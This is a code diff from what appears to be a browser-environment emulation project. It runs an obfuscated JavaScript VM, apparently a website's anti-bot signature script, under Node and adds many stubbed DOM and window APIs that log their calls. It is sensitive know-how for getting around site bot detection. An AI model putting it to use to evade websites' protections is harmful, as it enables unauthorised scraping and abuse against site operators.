tr))) + if (u = (o = v)[t], + c = U(u, s = Ir)) { + for (!(n = er) && (i = Q(e, v[t])); n < N(i); n++) + o = r, + f = (s = t + (u = a)) + (c = n), + l = i[x = n], + o[f] = l; + a += u = (o = n) - tr + } else + o = r, + s = t + (u = a), + c = e, + x = (f = v)[t], + l = Q(c, x), + o[s] = l; + return o = r + }() : f == Dr ? (ht = v[er], + pt = D(ht, fr), + ((g = pt) || tr) && (yt = e, + gt = v[tr], + (m = Q(yt, gt)) || tr) && (mt = e, + Ct = v[nr], + (S = Q(mt, Ct)) || tr) && (g == Qr ? m + S : g == ue ? m - S : g == ur ? m / S : g == cr ? m * S : g == ir ? l(m, S) : g == Cr ? m % S : g == yr ? m < S : g == me ? m <= S : g == ae ? m > S : g == zr ? m >= S : g == Sr ? m in S : g == ne ? m & S : g == vr ? m != S : g == Er ? m !== S : g == Dr ? m | S : g == gr ? m ^ S : g == Pr ? m == S : g == Gr ? m === S : g == nr ? m << S : g == Ce ? m >> S : g == Hr ? m >>> S : g == ee ? m instanceof S : void 0)) : f == Cr ? (a && (bt = tr, + a[wr] = bt), + Et = tr, + St = function(r) { + return Q(e, r) + } + , + It = v[rr[Fr]](St), + F(Et, It)) : f == lr ? ((A = {}) && (Tt = function(r) { + var t, n, a, o, u, s, c, f, v, x, l, d, h, p, y, g, m, E, S, I, T, N; + t = Q(e, r), + (a = C = t) && (n = C[er], + a = (B = n) || tr), + (u = a) && (o = C[tr], + u = (w = o) || tr), + u && (u = C[nr] ? (b = {}) && (0, + !0, + b[rr[Zr]] = !0) && (0, + !0, + b[rr[Pr]] = !0) && C[nr] == tr ? (s = b, + c = rr[zr], + f = w, + ((s[c] = f) || tr) && (v = i[rr[Ur]], + x = rr[wr], + l = A, + d = B, + h = b, + v[x](l, d, h))) : C[nr] == nr && (p = b, + y = rr[$r], + g = w, + (p[y] = g) || tr) && (m = i[rr[Ur]], + E = rr[wr], + S = A, + I = B, + T = b, + m[E](S, I, T)) : (N = w, + A[B] = N)) + } + , + v[rr[Fr]](Tt)), + A) : f == Kr ? (At = e, + Bt = v[er], + wt = e, + Nt = F(tr, v), + Rt = Q(wt, Nt), + Ut = G(At, Bt, Rt == be), + Dt = e, + Lt = v[tr], + [Ut, Q(Dt, Lt)]) : f == Tr ? (Pt = e, + kt = F(tr, v), + (((E = Q(Pt, kt)) == Rr ? S = tr : E == Ir && (S = nr)) || tr) && (Kt = v, + Vt = rr[Br], + Ot = er, + Mt = -tr, + jt = Kt[Vt](Ot, Mt), + v = jt) && (Ft = e, + Gt = F(tr, v), + (I = Q(Ft, Gt) == be) || tr) && (qt = v, + Qt = rr[Br], + Wt = er, + zt = -tr, + Ht = qt[Qt](Wt, zt), + v = Ht) && (Yt = e, + Zt = F(tr, v), + Xt = G(Yt, Zt, I), + (B = Xt) || tr) && (Jt = v[N(v) - nr], + (w = Jt) || tr) && (_t = v, + $t = rr[Br], + rn = er, + en = N(v) - nr, + (T = _t[$t](rn, en)) || tr) && (tn = M(e, B, w, T), + nn = q(tn, B)[rr[_r]], + (L = nn) || tr) && [B, L, S]) : f == ur ? (an = tr, + on = function(r) { + return Q(e, r) + } + , + un = v[rr[Fr]](on), + F(an, un)) : f == Xr ? (sn = e, + cn = v[er], + dn = Q(sn, cn) ? (fn = e, + vn = v[tr], + Q(fn, vn, a)) : (xn = e, + ln = v[nr], + Q(xn, ln, a)), + ((A = dn) || tr) && a[wr] ? A : void 0) : f == gr ? (hn = function(r, e, t, n, a, i) { + var o, u, s, c, f, v, x, l, d; + return e == ce ? U(n, yr) ? ((i = n[yr]) || tr) && (o = r, + u = i[er], + (a = Q(o, u)) || tr) && (s = r, + c = i[tr], + f = r, + v = i[nr], + x = Q(f, v), + (i = G(s, c, x == be)) || tr) && (t == be ? ++a[i] : a[i]++) : ((i = Q(r, n)) || tr) && (U(n, Qr) && (l = r, + d = D(n, Qr), + V(l, d, i + tr)) || tr) && (t == be ? i + tr : i) : e == _r ? U(n, yr) ? ((i = n[yr]) || tr) && ((a = Q(r, i[er])) || tr) && ((i = G(r, i[tr], Q(r, i[nr]) == be)) || tr) && (t == be ? --a[i] : a[i]--) : ((i = Q(r, n)) || tr) && (U(n, Qr) && V(r, D(n, Qr), i - tr) || tr) && (t == be ? i - tr : i) : void 0 + } + , + pn = e, + yn = e, + gn = v[er], + mn = Q(yn, gn), + Cn = e, + bn = v[tr], + hn(pn, mn, Q(Cn, bn), v[nr])) : f == _r ? N(v) <= nr && (En = v[er], + U(En, hr)) ? (Sn = F(tr, e)[er], + In = F(tr, v), + Tn = D(In, Qr), + An = n, + Bn = e, + wn = v[er], + Nn = An[Q(Bn, wn)], + Sn[Tn] = Nn) : (Rn = F(tr, v), + Un = D(Rn, Qr), + (B = Un) && (Dn = F(tr, e)[er], + Ln = B, + Pn = e, + kn = B, + Kn = v[N(v) - nr], + Vn = v, + On = rr[Br], + Mn = er, + jn = N(v) - nr, + Fn = Vn[On](Mn, jn), + Gn = M(Pn, kn, Kn, Fn), + qn = q(Gn, B)[rr[_r]], + Dn[Ln] = qn)) : f == Pr ? (Qn = e, + Wn = v[er], + Q(Qn, Wn) ? (zn = e, + Hn = v[tr], + Q(zn, Hn)) : (Yn = e, + Zn = v[nr], + Q(Yn, Zn))) : f == mr ? (Xn = function(r, e, t, n, a, i) { + var o, u, s, c, f, v, x, l, d, h, p, y; + return e == Qr ? +Q(r, t) : e == ue ? -Q(r, t) : e == qr ? !Q(r, t) : e == lr ? ~Q(r, t) : e == Kr ? U(t, Qr) ? (o = r, + u = D(t, Qr), + typeof K(o, u, tr)) : typeof Q(r, t) : e != xe ? e == ge ? U(t, Qr) ? (s = F(tr, r)[er], + c = D(t, Qr), + U(s, c) ? delete F(tr, r)[er][D(t, Qr)] : (i = D(t, Qr)) != rr[dr] && i != rr[mr] && !rr[ce]) : U(t, yr) ? (f = r, + v = (a = t[yr])[er], + x = Q(f, v), + l = r, + d = a[tr], + h = r, + p = a[nr], + y = Q(h, p), + delete x[a = G(l, d, y == be)]) : (Q(r, t), + 0, + !0) : void 0 : void Q(r, t) + } + , + Jn = e, + _n = e, + $n = v[er], + Xn(Jn, Q(_n, $n), v[tr])) : f == jr ? (ra = function(r, e, t, n) { + return e == mr ? t || Q(r, n) : e == kr ? t && Q(r, n) : void 0 + } + , + ea = e, + ta = e, + na = v[er], + aa = Q(ta, na), + ia = e, + oa = v[tr], + ra(ea, aa, Q(ia, oa), v[nr])) : f == nr ? N(v) <= nr && (ua = v[er], + U(ua, hr)) ? (sa = n, + ca = e, + fa = v[er], + sa[Q(ca, fa)]) : (va = e, + xa = F(tr, v), + la = D(xa, Qr), + da = v[N(v) - nr], + ha = v, + pa = rr[Br], + ya = er, + ga = N(v) - nr, + ma = ha[pa](ya, ga), + Ca = M(va, la, da, ma), + q(Ca)[rr[_r]]) : f == Fr ? (ba = e, + Ea = rr[Jr], + Sa = F(tr, v), + Ia = v, + Ta = rr[Br], + Aa = er, + Ba = N(v) - tr, + wa = Ia[Ta](Aa, Ba), + Na = M(ba, Ea, Sa, wa), + q(Na)[rr[_r]]) : f == br ? F(tr, e)[ar] : f == yr ? (Ra = e, + Ua = v[tr], + Da = e, + La = v[nr], + Pa = Q(Da, La), + ka = G(Ra, Ua, Pa == be), + ((w = ka) || tr) && (Ka = e, + Va = v[er], + Oa = typeof a != rr[fr] ? tr : a + tr, + Ma = R = u || [], + ja = Q(Ka, Va, Oa, Ma, s), + (L = ja) || tr) && (!a || c ? (Fa = function(r) { + var e; + return e = L[er], + L = e, + r + } + , + Ga = function(r) { + var e; + e = L[r], + L = e + } + , + R[rr[Fr]](Fa)[rr[Fr]](Ga) && s && s[jr] ? function() { + var r, e, t, n, a; + return r = o[rr[Hr]][rr[Or]], + e = rr[pr], + t = L[w], + n = L, + a = arguments, + r[e](t, n, a) + } + : L[w]) : (qa = R, + Qa = rr[ur], + Wa = w, + qa[Qa](Wa) && [L, L[w]]))) : f == Sr ? (P = typeof a == rr[ee] ? a : {}) && (za = tr, + P[jr] = za) && (Ha = e, + Ya = F(tr, v), + k = Q(Ha, Ya, er, er, P)) && (Za = v, + Xa = rr[Br], + Ja = er, + _a = -tr, + $a = function(r) { + var t, n; + return U(r, Ir) ? (t = Q(e, r), + n = W = t) : n = Q(e, r), + n + } + , + z = Za[Xa](Ja, _a)[rr[Fr]]($a)) && (z = W ? (ri = z, + ei = rr[Br], + ti = er, + ni = N(z) - tr, + ai = ri[ei](ti, ni), + ii = rr[gr], + oi = W, + ai[ii](oi)) : z) && !(r > p) && (ui = k, + void 0, + si = z, + o[rr[Hr]][rr[Or]][rr[pr]](ui, void 0, si)) : f == kr ? (ci = o[rr[Hr]][rr[Ar]], + fi = rr[Or], + vi = e, + xi = F(tr, v), + li = Q(vi, xi), + di = [er], + hi = rr[gr], + pi = v, + yi = rr[Br], + gi = er, + mi = N(v) - tr, + Ci = function(r) { + return Q(e, r) + } + , + bi = pi[yi](gi, mi)[rr[Fr]](Ci), + Ei = di[hi](bi), + new (ci[fi](li, Ei))) : void 0 + } + (ke = wr = 27) && (5, + ke = or = 5), + (Ke = ke) && (10, + Ke = vr = 10), + (Ve = Ke) && (30, + Ve = Ur = 30), + (Oe = Ve) && (17, + Oe = gr = 17), + (Me = Oe) && (31, + Me = Dr = 31), + (je = Me) && (8, + je = cr = 8), + (Fe = je) && (16, + Fe = yr = 16), + (Ge = Fe) && (36, + Ge = Vr = 36), + (qe = Ge) && (20, + qe = br = 20), + (Qe = qe) && (56, + Qe = ne = 56), + (We = Qe) && (39, + We = jr = 39), + (ze = We) && (9, + ze = fr = 9), + (He = ze) && (19, + He = Cr = 19), + (Ye = He) && (Ye = Kr = 35), + (Ze = Ye) && (Ze = Mr = 38), + (Xe = Ze) && (Xe = lr = 12), + (Je = Xe) && (Je = Fr = 40), + (_e = Je) && (_e = Xr = 49), + ($e = _e) && ($e = nr = 2), + (rt = $e) && (rt = ce = 62), + (et = rt) && (et = Hr = 46), + (tt = et) && (tt = Tr = 24), + (nt = tt) && (nt = Yr = 47), + (at = nt) && (at = tr = 1), + (it = at) && (it = !(er = 0)), + (ot = it) && (ot = Rr = 29), + (ut = ot) && (ut = Nr = 28), + (st = ut) && (st = ar = 3), + (ct = st) && (ct = Br = 26), + (ft = ct) && (ft = Sr = 22), + (vt = ft) && (vt = xr = 11), + (xt = vt) && (xt = Ar = 25), + (lt = xt) && (lt = kr = 34), + (dt = lt) && (dt = Lr = 32), + (ht = dt) && (ht = hr = 14), + (pt = ht) && (pt = ur = 6), + (yt = pt) && (yt = Or = 37), + (gt = yt) && (gt = Gr = 41), + (mt = gt) && (mt = Qr = 43), + (Ct = mt) && (Ct = Pr = 33), + (bt = Ct) && (bt = we = 123), + (Et = bt) && (Et = te = 55), + (St = Et) && (St = ir = 4), + (It = St) && (It = Ce = 73), + (Tt = It) && (Tt = le = 66), + (At = Tt) && (At = fe = 63), + (Bt = At) && (Bt = $r = 52), + (wt = Bt) && (wt = ie = 58), + (Nt = wt) && (Nt = Er = 21), + (Rt = Nt) && (Rt = _r = 51), + (Ut = Rt) && (Ut = pr = 15), + (Dt = Ut) && (Dt = sr = 7), + (Lt = Dt) && (Lt = Ie = 78), + (Pt = Lt) && (Pt = ye = 70), + (kt = Pt) && (kt = re = 53), + (Kt = kt) && (Kt = he = 68), + (Vt = Kt) && (Vt = ve = 64), + (Ot = Vt) && (Ot = Wr = 44), + (Mt = Ot) && (Mt = Se = 77), + (jt = Mt) && (jt = pe = 69), + (Ft = jt) && (Ft = dr = 13), + (Gt = Ft) && (Gt = se = 61), + (qt = Gt) && (qt = xe = 65), + (Qt = qt) && (Qt = Jr = 50), + (Wt = Qt) && (Wt = Ne = 127), + (zt = Wt) && (zt = Ee = 76), + (Ht = zt) && (Ht = ge = 71), + (Yt = Ht) && (Yt = mr = 18), + (Zt = Yt) && (Zt = Ae = 91), + (Xt = Zt) && (Xt = zr = 45), + (Jt = Xt) && (Jt = de = 67), + (_t = Jt) && (_t = oe = 59), + ($t = _t) && ($t = Te = 79), + (rn = $t) && (rn = ee = 54), + (en = rn) && (en = be = 74), + (tn = en) && (tn = Ir = 23), + (nn = tn) && (nn = qr = 42), + (an = nn) && (an = ae = 57), + (on = an) && (on = Zr = 48), + (un = on) && (un = Be = 97), + (sn = un) && (sn = me = 72), + (cn = sn) && (cn = ue = 60), + (fn = cn) && (fn = rr = "ReferenceError(g(c(call([(lastIndexOf(push(pop(toString(number(valueOf(indexOf(window(module(arguments(cilame_call(charCodeAt(concat(exports(pow(match([0-9a-f]{2}(Date(Math(hasOwnProperty(bind(slice(defineProperty(BigInt(parseFloat(Object(filter(v(configurable(String(keys(length(apply(%$&(vmpzl_arguments(map((]( is not defined(join(get(prototype(undefined(enumerable(replace(null(_(set(decodeURIComponent(object(charAt(0(parseInt(RegExp(Function(fromCharCode(*(require($".split("(")), + (vn = fn) && (vn = i = typeof global == rr[Yr] ? window : global), + (xn = vn) && (xn = W = new i[rr[Sr]]), + (ln = xn) && (ln = N = ia[rr[Ar]](tr, W, pe)), + (dn = ln) && (dn = D = ia[rr[Ar]](tr, W, Ar)), + (hn = dn) && (hn = k = ia[rr[Ar]](tr, W, Mr)), + (pn = hn) && (pn = U = ia[rr[Ar]](tr, W, Te)), + (yn = pn) && (yn = O = ia[rr[Ar]](tr, W, oe)), + (gn = yn) && (gn = M = ia[rr[Ar]](tr, W, Jr)), + (mn = gn) && (mn = j = ia[rr[Ar]](tr, W, fe)), + (Cn = mn) && (Cn = F = ia[rr[Ar]](tr, W, xr)), + (bn = Cn) && (bn = G = ia[rr[Ar]](tr, W, re)), + (En = bn) && (En = q = ia[rr[Ar]](tr, W, or)), + (Sn = En) && (Sn = z = ia[rr[Ar]](tr, W, $r)), + (In = Sn) && (In = H = ia[rr[Ar]](tr, W, Yr)), + (Tn = In) && (Tn = Y = ia[rr[Ar]](tr, W, ve)), + (An = Tn) && (An = J = ia[rr[Ar]](tr, W, se)), + (Bn = An) && (Bn = _ = ia[rr[Ar]](tr, W, ye)), + (wn = Bn) && (wn = o = i[rr[oe]]), + (Nn = wn) && (Nn = u = i[rr[kr]][rr[ue]]), + (Rn = Nn) && (Rn = s = i[rr[re]]), + (Un = Rn) && (Un = c = i[rr[er]]), + (Dn = Un) && (Dn = f = i[rr[Ur]][rr[Kr]]), + (Ln = Dn) && (Ln = v = i[rr[Rr]]), + (Pn = Ln) && (Pn = x = i[rr[ae]]), + (kn = Pn) && (kn = l = i[rr[Ir]][rr[Cr]]), + (Kn = kn) && (Kn = d = i[rr[ie]]), + (Vn = Kn) && (Vn = o[rr[Hr]][rr[pr]] = o[rr[Hr]][rr[ar]]), + (On = Vn) && (On = w = i[rr[Ur]][rr[Hr]][rr[Tr]]), + (Mn = On) && (Mn = p = tr), + (jn = Mn) && (jn = B = tr), + (Fn = jn) && (Fn = y = []), + (Gn = Fn) && (Gn = g = []), + (qn = Gn) && (qn = (h = i[rr[Nr]]) || tr), + (Qn = qn) && (Qn = R = oa[rr[Ar]](tr, W, Ie)), + (Wn = Qn) && (Wn = L = oa[rr[Ar]](tr, W, br)), + (zn = Wn) && (zn = P = oa[rr[Ar]](tr, W, pr)), + (Hn = zn) && (Hn = K = oa[rr[Ar]](tr, W, Lr)), + (Yn = Hn) && (Yn = V = oa[rr[Ar]](tr, W, Br)), + (Zn = Yn) && (Zn = Z = oa[rr[Ar]](tr, W, le)), + (Xn = Zn) && (Xn = X = oa[rr[Ar]](tr, W, Wr)), + (Jn = Xn) && (Jn = Q = Q[rr[Ar]](tr, W)), + (_n = Jn) && (_n = m = R(we, Ne) + R(Kr, jr) + R(Fr, Ae) + R(Be, we)), + ($n = _n) && ($n = C = R(Fr, Ae)), + (ra = $n) && (ra = b = R(we, Ne) + R(Kr, jr) + R(Be, we)), + (ea = ra) && (ea = E = rr[ir] + b + rr[qr] + rr[se] + rr[ir] + C + rr[qr]), + (ta = ea) && (ta = S = d(rr[Er], rr[tr])), + (na = ta) && (na = I = [[i, null, null, e, t, er, er, arguments, {}, W]]), + (aa = na) && (aa = T = I[er][cr]), + aa && (aa = Q(I, function r(e, t, n) { + var a, i, o, u, s, c, f, v, x, l; + return a = function(e, t, n, a, i, o, u, s, c, f) { + var v, x, l, d, h, C, b, E, S, I, T, A, B, w, R, U, D, L, K, V, O, M, j, F, G, q, Q, W, z; + if ((d = l = (v = n) == (x = fr)) || (d = n == Qr), + (h = d) || (h = n == sr), + (E = h) || (E = (C = n) == (b = Jr)), + (I = E) || (I = n == (S = hr)), + (B = I) || (B = (T = n) == (A = Vr)), + (w = B) || (w = n == er), + (D = w) || (D = (R = n) == (U = dr)), + D) + return (x = v = a = {}) && (b = n, + x = (a[C = rr[nr]] = b) || tr), + (l = x) && (S = function(r, e, t) { + var n, a, i; + return (i = t = P(e)) && (n = y[t[er]], + a = t[er], + i = [_(n, a, r), t[er], t[tr]]), + i + } + , + T = n, + A = t, + R = rr[Br], + U = p, + L = vr, + l = i = S(T, A[R](U, L))), + (d = l) && (K = a, + V = n, + O = i[er], + d = (K[V] = O) || tr), + (h = d) && (h = [function(r, e, t, n) { + var a, i, o, u, s, c, f, v, x, l, d, h, p, y, m; + return a = g, + i = rr[xr], + o = r[e], + (u = n = a[i](o)) || (u = tr), + (h = u) && (h = (n == -tr ? (s = g, + c = rr[ur], + f = r[e], + s[c](f) && (v = r, + x = e, + l = N(g) - tr, + v[x] = l)) : (d = n, + r[e] = d)) || tr), + (y = h) && (p = t, + y = (r[rr[Lr]] = p) || tr), + (m = y) && (m = r), + m + }(a, n, i[tr]), i[nr]]), + h; + for ((u = []) && (a = {}) && (o = k(t, p)[er]); N(o); ) + v = m, + d = (x = rr)[l = xr], + h = o, + B = (E = rr)[I = Br], + w = er, + D = p, + M = h[B](w, D), + (j = (s = v[d](M)) != fr) && (j = s != Qr), + (F = j) && (F = s != sr), + (G = F) && (G = (C = s) != (b = Jr)), + (q = G) && (q = s != (S = hr)), + (Q = q) && (Q = (T = s) != (A = Vr)), + (W = Q) && (W = s != er), + (z = W) && (z = (R = s) != (U = dr)), + z ? (f = k(o, p, tr)) && u[rr[ur]](r(e, o)) && (o = o[rr[Br]](f[tr])) : (c = r(e, o)) && u[rr[ur]](c[er]) && (o = o[rr[Br]](p + c[tr])); + return l = u, + (h = d = (v = a)[x = n] = l) && (C = n, + h = (b = a[rr[nr]] = C) || tr), + (E = h) && (E = a), + E + } + , + i = e, + o = t, + u = m, + s = rr[xr], + c = t, + f = rr[Br], + v = er, + x = p, + l = c[f](v, x), + a(i, o, u[s](l)) + }(W, X(a)))) + } + , + r("", this, "undefined" != typeof arguments ? arguments : void 0, [], "jPo8#hh|q9%zkd}+u%{ua6tx#ivOs%wopSug~f#:shd#jBoal}|Ia#fsf?nijreYbucdnPakeo{+|&|qnxAxeaa#ZqhxcsC|otkn%M|~}wp{Ljd&&vQvjkqjVz{und?syfc.ites2|s%kyxWejibvW|s}w|uX|kboyt)ites0~sytKiz#gdO|gc%ycXrklemFiwif$.|kgfcrIyoqgfQb}swbTmvhxiViz$~zSquhil/ypdrr0|o&~jd8|}sxlb-|%funxYfsgoq)mmzfc4|fdl#U|s#|qs4|jx|t;iynrlQ|sqfiwIux~d{A|&bmui.|%xphaPuhdhmI|cuzwa5izac&3|~amgoX|cw{nk;|o|cnc>qp&ik;z&kigD|}m}kn+r#yjr,|~fcsl6|d{tujOezp{rFyx{}bMaseuu0jb|jk>|rmqzl-vbpji+|o{rzwQ|s~hgt|h|x{vYqosyv@|gpwgo8asygnKx{tbYv}dmo@#txwl5|opd&n6z${s$Kb|%ldY|sw}}nY|cedrl+r}wbe<|%hdenIzfdwfCprftvQ|w}$}0qo#xz?rlojr*|o%}lcE|kreym*|oa$ejT|l}t%a?|sp&mzU|cak$cW|kqvsp0|kry|s2yvkb~=|p{clt4|snspwWmzo&b:yolnkD|snaugB|%rxjuE|}erwhP|gfwryEnm}wkL|%iyi}6|kgipR|%xnxrEuylgb*|s%~rj=r#vjy:|g#gyj@|d~y%rHuxq|kH|bx~hm*bcmddZ|&b#~&M|gpbev5u}&ga:iw$lM|}#z%bQ|s}w|uX|kboyt)ites0~qdf-$uzwrNrm#of/&yzhfMwntwySuwpzvYxf|uyAwt&daQu$fph.|Z<}@T|8A|5?2)/2,)0K+R2%N(4))0.K,K*)(,((>))040.K,K*)(K3)(},#(K4(2))K*6,R*K+T4(2))K->,:*R5T@(>))K.68K-040.K6K7)(K8)(T6(4))K10.K.K9)("), + t(888) + } + )() +} +)(); +debugger; +// console.log_copy('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',JSON.stringify(window.bobobo(window.boboe,"1684566133224"))) \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/tools/envFunc.js b/env_xbb_lastest_jsdom/tools/envFunc.js index 74917386..e9c650d1 100644 --- a/env_xbb_lastest_jsdom/tools/envFunc.js +++ b/env_xbb_lastest_jsdom/tools/envFunc.js @@ -1,10 +1,139 @@ // 浏览器接口具体的实现 !function () { + bodavm.envFunc.window_Error=function (){ + res=bodavm.memory.globalobj['Error'] + console.log_copy(`window_Error ->`,`res -> ${res}`); + return res + } + bodavm.envFunc.HTMLInputElement_value_set=function (){ + arg=arguments[0] + console.log_copy(`HTMLInputElement_value_set -> `,`arg -> `,arg,); + this._boarg.value=arg + return arg + } + bodavm.envFunc.HTMLOptionElement_disabled_get=function (){ + res=this._boarg.disabled + console.log_copy(`HTMLOptionElement_disabled_get -> `,`res ->`,res); + return res + } + + + bodavm.envFunc.HTMLSelectElement_disabled_set=function (){ + arg=arguments[0] + this._disabled=arg + console.log_copy(`HTMLSelectElement_disabled_set -> `,arg); + } + bodavm.envFunc.HTMLOptionElement_selected_get=function (){ + + console.log_copy(`HTMLOptionElement_selected_get ->`,`res ->`,true ,`默认为true 需要根据实际修改`); + return true + + } + + bodavm.envFunc.CSSStyleDeclaration_cssText_set=function (){ + // arg= + + arg=arguments[0] + this._boarg.cssText=arg + console.log_copy(`CSSStyleDeclaration_cssText_set ->`,`res ->`,res); + return res + } + bodavm.envFunc.Document_createDocumentFragment=function(){ + let dofrag={} + + dofrag._boarg=this._boarg.createDocumentFragment() + console.log_copy(`Document_createDocumentFragment ->` ,`res ->`,dofrag); + dofrag.__proto__=DocumentFragment.prototype + + return dofrag + } + + bodavm.envFunc.Document_readyState_get=function (){ + res=this._boarg.readyState + console.log_copy(`Document_readyState_get ->`,`res ->`,res,`需要根据网站具体变化`); + return res + } + + bodavm.envFunc.HTMLAnchorElement_toString=function (){ + // arg=arguments[0] + res=this._boarg.toString() + console.log_copy(`HTMLAnchorElement_toString ->`,`res ->`,res); + return res + } + bodavm.envFunc.Node_compareDocumentPosition=function (){ + arg=arguments[0] + res=this._boarg.compareDocumentPosition(arg) + console.log_copy(`Node_compareDocumentPosition ->`,`res ->`,res); + return res + } + + bodavm.envFunc.Element_matches=function (){ + arg=arguments[0] + res=this._boarg.matches(arg) + console.log_copy(`Element_matches ->`,`res ->`,res); + return res + + } + + bodavm.envFunc.Element_querySelectorAll=function (){ + arg=arguments[0] + + if ((!bodavm.memory.cache['Element_querySelectorAll'][arg])){ + bodavm.memory.cache['Element_querySelectorAll'][arg]={ + 'this':this + } + }else{ + if (bodavm.memory.cache['Element_querySelectorAll'][arg]['this'] ==this){ + console.log_copy(`Element_querySelectorAll ->`,`arg->`,arg,'已存在直接返回') + return bodavm.memory.cache['Element_querySelectorAll'][arg] + } + + } + console.log_copy(`Element_querySelectorAll ->`,`arg ->`,arg) + + let names = bodavm.memory.cache['Element_querySelectorAll'][arg] + nodeList=this._boarg.querySelectorAll(arg) + names.__proto__=NodeList.prototype + names._boarg=nodeList + return names + } + + bodavm.envFunc.Document_getElementsByName=function (){ + arg=arguments[0] + if ((!bodavm.memory.cache['Document_getElementsByName'][arg])){ + bodavm.memory.cache['Document_getElementsByName'][arg]={} + }else{ + console.log_copy(`Document_getElementsByName ->`,`arg->`,arg,'已存在直接返回') + return bodavm.memory.cache['Document_getElementsByName'][arg] + } + console.log_copy(`Document_getElementsByName ->`,`arg ->`,arg) + + let names = bodavm.memory.cache['Document_getElementsByName'][arg] + nodeList=this._boarg.getElementsByName(arg) + names.__proto__=NodeList.prototype + names._boarg=nodeList + return names + } + + + bodavm.envFunc.Document_createComment=function (){ + let comment={} + arg=arguments[0] + comment.__proto__=Comment.prototype + comment._boarg=this._boarg.createComment(arg) + console.log_copy(`Document_createComment ->`,`arg ->`,arg) + return comment + } + bodavm.envFunc.NodeList_length_get=function (){ + res=this._boarg.length + console.log_copy(`NodeList_length_get ->`,`res ->`,res) + return res + } bodavm.envFunc.Node_contains=function (){ debugger let arg=arguments[0] let cont=this._boarg.contains(arg._boarg) - console.log(`Node_contains ->`,`-> res ->${cont}`); + console.log_copy(`Node_contains ->`,`-> res ->${cont}`); return cont } bodavm.envFunc.HTMLIFrameElement_contentDocument_get=function (){ @@ -14,7 +143,7 @@ res.__proto__=HTMLDocument.prototype res._boisinit=true res._contentiframe=true - console.log(`HTMLIFrameElement_contentDocument_get ->`,`-> res ->${res} 获取iframe下的document !!!!`); + console.log_copy(`HTMLIFrameElement_contentDocument_get ->`,`-> res ->${res} 获取iframe下的document !!!!`); return res } bodavm.envFunc.Document_head_get=function (){ @@ -22,22 +151,27 @@ res._boarg=bodaobj.window.document.head res.__proto__=HTMLHeadElement.prototype - console.log(`Document_head_get ->`,`-> res ->${res}`); + console.log_copy(`Document_head_get ->`,`-> res ->${res}`); return res } bodavm.envFunc.HTMLAllCollection_item=function (){ - // debugger + debugger let arg=arguments[0] res=this[arg] - console.log(`HTMLAllCollection_item ->`,`arg ->${arg} `,`-> res -> ${res}`); + console.log_copy(`HTMLAllCollection_item ->`,`arg ->${arg} `,`-> res -> ${res}`); return res } bodavm.envFunc.location_valueOf=function (){ // debugger // res=window.location - console.log(`location_valueOf `, `-> res ->`,location); - return location + let location_ = bodavm.memory.globalobj.location + location_._boarg= bodaobj.window['location'] + + // console.log_copy(`window_location_get `, `location_->`, location_); + // return location_ + console.log_copy(`location_valueOf `, `-> res ->`,location_); + return location_ } bodavm.envFunc.StorageManager_estimate=function (){ @@ -51,7 +185,7 @@ let promise = new Promise((resolve, reject) => { resolve(res) }) - console.log(`StorageManager_estimate `, `-> res ->${promise}`); + console.log_copy(`StorageManager_estimate `, `-> res ->${promise}`); return promise @@ -60,13 +194,13 @@ // debugger this._boarg.src=arguments[0] let res=this._boarg.src - console.log(`HTMLScriptElement_src_set ->`,`-> res->${res}`); + console.log_copy(`HTMLScriptElement_src_set ->`,`-> res->${res}`); return res } bodavm.envFunc.PerformanceEntry_name_get=function (){ // debugger let name=this.name - console.log(`PerformanceEntry_name_get ->`,`-> res ->${name}`); + console.log_copy(`PerformanceEntry_name_get ->`,`-> res ->${name}`); return name } bodavm.envFunc.Performance_getEntriesByType=function (){ @@ -79,30 +213,30 @@ i.__proto__ =PerformanceResourceTiming.prototype } // debugger - console.log(`Performance_getEntriesByType- >`,`arg->${type}`,`-> res ->${reslist}`); + console.log_copy(`Performance_getEntriesByType- >`,`arg->${type}`,`-> res ->${reslist}`); return reslist } } bodavm.envFunc.Document_hasFocus=function (){ - console.log(`Document_hasFocus ->`,`当前页面有没有获取焦点,默认返回true`) + console.log_copy(`Document_hasFocus ->`,`当前页面有没有获取焦点,默认返回true`) return true } bodavm.envFunc.Performance_timeOrigin_get=function (){ let date=bodavm.memory.Performance['timeOrigin'] - console.log(`Performance_timeOrigin_get-> `,`-> res ->${date}`); + console.log_copy(`Performance_timeOrigin_get-> `,`-> res ->${date}`); return date } bodavm.envFunc.Image_src_set=function (){ // debugger - console.log(`Image_src_set->`,`-> res ->${arguments[0]}`); + console.log_copy(`Image_src_set->`,`-> res ->${arguments[0]}`); this._boarg.src=arguments[0] return this._boarg.src } bodavm.envFunc.Performance_now=function (){ let now=window.performance._boarg.now() - console.log(`Performance_now `,`-> res ->${now}`); + console.log_copy(`Performance_now `,`-> res ->${now}`); return now } @@ -110,915 +244,915 @@ // debugger let arg=bodavm.memory.globalobj['Image'] arg._boarg=bodaobj.window.Image - console.log(`window_Image `, `-> res -> ${arg}`); + console.log_copy(`window_Image `, `-> res -> ${arg}`); return arg } - bodavm.envFunc.window_scheduler_get=function (){let arg=bodavm.memory.globalobj['scheduler']?bodavm.memory.globalobj['scheduler']:null;console.log(`window_scheduler_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_crossOriginIsolated_get=function (){let arg=bodavm.memory.globalobj['crossOriginIsolated']?bodavm.memory.globalobj['crossOriginIsolated']:null;console.log(`window_crossOriginIsolated_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointerrawupdate_get=function (){let arg=bodavm.memory.globalobj['onpointerrawupdate']?bodavm.memory.globalobj['onpointerrawupdate']:null;console.log(`window_onpointerrawupdate_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_originAgentCluster_get=function (){let arg=bodavm.memory.globalobj['originAgentCluster']?bodavm.memory.globalobj['originAgentCluster']:null;console.log(`window_originAgentCluster_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onbeforematch_get=function (){let arg=bodavm.memory.globalobj['onbeforematch']?bodavm.memory.globalobj['onbeforematch']:null;console.log(`window_onbeforematch_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondeviceorientationabsolute_get=function (){let arg=bodavm.memory.globalobj['ondeviceorientationabsolute']?bodavm.memory.globalobj['ondeviceorientationabsolute']:null;console.log(`window_ondeviceorientationabsolute_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondeviceorientation_get=function (){let 